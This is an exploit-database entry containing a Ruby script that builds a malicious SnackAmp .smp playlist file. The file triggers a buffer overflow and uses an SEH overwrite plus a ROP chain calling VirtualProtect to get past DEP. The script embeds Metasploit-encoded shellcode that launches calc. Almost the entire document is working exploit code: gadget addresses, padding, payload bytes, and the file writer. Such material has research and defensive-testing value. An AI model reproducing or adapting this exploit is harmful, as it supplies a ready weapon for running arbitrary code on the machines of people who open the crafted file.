[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : SnackAmp 3.1.3B Malicious SMP Buffer Overflow Vulnerability (SEH - DEP BYPASS)
# Published : 2010-10-04
# Author : Muhamad Fadzil Ramli
# Previous Title : AudioTran 1.4.2.4 SafeSEH+SEHOP Exploit
# Next Title : FatPlayer 0.6b Malicious WAV Buffer Overflow Vulnerability (SEH)


# Exploit Title: SnackAmp 3.1.3B Malicious SMP Buffer Overflow Vulnerability (SEH - DEP BYPASS)
# Date: 09/24/10  
# Author: Muhamad Fadzil Ramli - mind1355 [AT] gmail [DOT] com  
# Credit/Bug Found By: james [AT] learnsecurityonline [DOT] com 
# Software Link: http://sourceforge.net/projects/snackamp/  
# Version: 3.1.3 Beta
# Tested on: Windows XP SP3 EN  (Virtualbox 3.2.8 R64453)
# CVE: N/A
# GREETZ: Intranium Sdn Bhd (Security Team)
#		: corelanc0d3r - Great Tutorial
#
#! /usr/bin/env ruby

# windows/exec - 144 bytes  
# http://www.metasploit.com  
# Encoder: x86/shikata_ga_nai  
# EXITFUNC=seh, CMD=calc  
payload =  "xdbxc0x31xc9xbfx7cx16x70xcc" 
payload << "xd9x74x24xf4xb1x1ex58x31x78" 
payload << "x18x83xe8xfcx03x78x68xf4x85" 
payload << "x30x78xbcx65xc9x78xb6x23xf5" 
payload << "xf3xb4xaex7dx02xaax3ax32x1c" 
payload << "xbfx62xedx1dx54xd5x66x29x21" 
payload << "xe7x96x60xf5x71xcax06x35xf5" 
payload << "x14xc7x7cxfbx1bx05x6bxf0x27" 
payload << "xddx48xfdx22x38x1bxa2xe8xc3" 
payload << "xf7x3bx7axcfx4cx4fx23xd3x53" 
payload << "xa4x57xf7xd8x3bx83x8ex83x1f" 
payload << "x57x53x64x51xa1x33xcdxf5xc6" 
payload << "xf5xc1x7ex98xf5xaaxf1x05xa8" 
payload << "x26x99x3dx3bxc0xd9xfex51x61" 
payload << "xb6x0ex2fx85x19x87xb7x78x2f" 
payload << "x59x90x7bxd7x05x7fxe8x7bxca"

junk1	= "A" * 13864
seh		= [0x004659C1].pack('V')			# ADD     ESP, 428 # RETN 	[Module : snackAmp.exe]
ret		= [0x014E101F].pack('V') * 50		# RETN 	[Module : pngtcl10.dll]

# ROP 1
rop1	= ''
rop1	<< [0x71ABDAC3].pack('V')			# PUSH    ESP # POP     ESI # RETN 	[Module : WS2_32.dll]
#rop1	<< [0x014E1265].pack('V')			# MOV     EAX, ESI # POP     ESI # RETN 	[Module : pngtcl10.dll]
#rop1	<< "DEAD"							# PADDING
rop1	<< [0x014F08B1].pack('V')			# ADD     ESP, 20 # RETN 	[Module : pngtcl10.dll]
# END

# VIRTUALPROTECT PARAMETERS
params	= ''
params << [0x7C801AD4].pack('V') 			# VirtualProtect
params << 'WWWW'   							# return address (param1)
params << 'XXXX'   							# lpAddress      (param2)
params << 'YYYY'   							# Size           (param3)
params << 'ZZZZ'   							# flNewProtect   (param4)
params << [0x014F5005].pack('V');  			# writeable address
params << 'DEAD' * 2						# PADDING
# END

# ROP 2
# PARAM 1
rop2	= ''
rop2	<< [0x014E1265].pack('V')			# MOV     EAX, ESI # POP     ESI # RETN 	[Module : pngtcl10.dll]
rop2	<< "DEAD"
rop2	<< [0x77037BFA].pack('V')			# PUSH    EAX # POP     ESI # POP     EBX # RETN 	[Module : CLBCATQ.DLL]
rop2	<< "DEAD"
rop2	<< [0x014F2860].pack('V') * 10		# ADD     EAX, 20 # RETN 	[Module : pngtcl10.dll]
rop2	<< [0x71ABC7E8].pack('V')			# MOV     DWORD PTR DS:[ESI+8], EAX # MOV     EAX, ESI # POP     ESI # POP     EBP # RETN    4 	[Module : WS2_32.dll]
rop2	<< "DEAD" * 2
# END

# PARAM 2
rop2	<< [0x77037BFA].pack('V')			# PUSH    EAX # POP     ESI # POP     EBX # RETN 	[Module : CLBCATQ.DLL]
rop2	<< "DEAD" * 2
rop2	<< [0x014F2860].pack('V') * 10		# ADD     EAX, 20 # RETN 	[Module : pngtcl10.dll]
rop2	<< [0x75F991D3].pack('V') * 4		# INC     ESI # RETN 	[Module : browseui.dll]
rop2	<< [0x71ABC7E8].pack('V')			# MOV     DWORD PTR DS:[ESI+8], EAX # MOV     EAX, ESI # POP     ESI # POP     EBP # RETN    4 	[Module : WS2_32.dll]
rop2	<< "DEAD" * 2
# END

# PARAM 3
rop2	<< [0x77037BFA].pack('V')			# PUSH    EAX # POP     ESI # POP     EBX # RETN 	[Module : CLBCATQ.DLL]
rop2	<< "DEAD" * 2
rop2	<< [0x014E1248].pack('V')			# XOR     EAX, EAX # RETN 	[Module : pngtcl10.dll]
rop2	<< [0x77C4EC2B].pack('V')			# ADD     EAX, 100 # POP     EBP # RETN 	[Module : MSVCRT.dll]
rop2	<< "DEAD"
rop2	<< [0x77C4EC2B].pack('V')			# ADD     EAX, 100 # POP     EBP # RETN 	[Module : MSVCRT.dll]
rop2	<< "DEAD"
rop2	<< [0x77C4EC2B].pack('V')			# ADD     EAX, 100 # POP     EBP # RETN 	[Module : MSVCRT.dll]
rop2	<< "DEAD"
rop2	<< [0x75F991D3].pack('V') * 4		# INC     ESI # RETN 	[Module : browseui.dll]
rop2	<< [0x71ABC7E8].pack('V')			# MOV     DWORD PTR DS:[ESI+8], EAX # MOV     EAX, ESI # POP     ESI # POP     EBP # RETN    4 	[Module : WS2_32.dll]
rop2	<< "DEAD" * 2
# END

# PARAM 4
rop2	<< [0x77037BFA].pack('V')			# PUSH    EAX # POP     ESI # POP     EBX # RETN 	[Module : CLBCATQ.DLL]
rop2	<< "PPPP" * 2
rop2	<< [0x014E1248].pack('V')			# XOR     EAX, EAX # RETN 	[Module : pngtcl10.dll]
rop2	<< [0x76CA8BBF].pack('V')			# ADD     EAX, 40 # RETN 	[Module : IMAGEHLP.dll]
rop2	<< [0x75F991D3].pack('V') * 4		# INC     ESI # RETN 	[Module : browseui.dll]
rop2	<< [0x71ABC7E8].pack('V')			# MOV     DWORD PTR DS:[ESI+8], EAX # MOV     EAX, ESI # POP     ESI # POP     EBP # RETN    4 	[Module : WS2_32.dll]
rop2	<< "DEAD" * 2
# END

# POINT ESP TO VIRTUALPROCTECT
rop2	<< [0x775D1381].pack('V')			# SUB     EAX, 4 # RETN 	[Module : ole32.dll]
rop2	<< "DEAD"
rop2	<< [0x775D1381].pack('V')			# SUB     EAX, 4 # RETN 	[Module : ole32.dll]
rop2	<< [0x5B886978].pack('V')			# XCHG    EAX, ESP # RETN 	[Module : NETAPI32.dll]
# END

nops	= "x90" * 150
junk2	= "C" * (20000 - (junk1 + seh + ret + rop1 + params + rop2 + nops + payload).length)
xploit	= junk1 + seh + ret + rop1 + params + rop2 + nops + payload + junk2


File.open("crash.smp", 'w') do |fd|  
	fd.write xploit
	puts "file size: " + xploit.length.to_s
end